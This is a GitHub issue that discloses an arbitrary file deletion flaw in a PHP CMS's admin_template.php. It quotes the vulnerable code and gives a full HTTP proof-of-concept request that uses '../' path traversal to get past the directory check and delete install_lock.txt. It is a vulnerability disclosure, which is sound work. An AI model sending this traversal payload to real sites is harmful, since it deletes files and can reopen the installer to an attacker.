Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Any file deletion(Admin permission) #1

Open
TheKingOfDuck opened this issue Feb 3, 2019 · 0 comments
Open

Any file deletion(Admin permission) #1

TheKingOfDuck opened this issue Feb 3, 2019 · 0 comments

Comments

@TheKingOfDuck
Copy link

look at admin_template.php 【114-132】

elseif($action=='del')
{
    if($filedir == '')
    {
        ShowMsg('未指定要删除的文件或文件名不合法', '-1');
        exit();
    }
    if(substr(strtolower($filedir),0,11)!=$dirTemplate){
        ShowMsg("只允许删除templets目录内的文件!","admin_template.php");
        exit;
    }
    $folder=substr($filedir,0,strrpos($filedir,'/'));
    if(!is_dir($folder)){
        ShowMsg("目录不存在!","admin_template.php");
        exit;
    }
    unlink($filedir);
    ShowMsg("操作成功!","admin_template.php?path=".$folder);
    exit;
}

There are no restrictions here.

Poc:

GET /qdybap/admin_template.php?action=del&filedir=../templets/default/images/../../../install/install_lock.txt HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Android 9.0; Mobile; rv:61.0) Gecko/61.0 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/qdybap/admin_template.php?path=../templets/default/images
Connection: close
Cookie: think_template=default; __tins__19820877=%7B%22sid%22%3A%201546784203337%2C%20%22vd%22%3A%204%2C%20%22expires%22%3A%201546786104291%7D; __51cke__=; __51laig__=6; PHPSESSID=5322944de96922c98817ca8b2463c379; __tins__19820873=%7B%22sid%22%3A%201546784394633%2C%20%22vd%22%3A%202%2C%20%22expires%22%3A%201546786703612%7D
Upgrade-Insecure-Requests: 1

Delete the install_lock.txt file

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant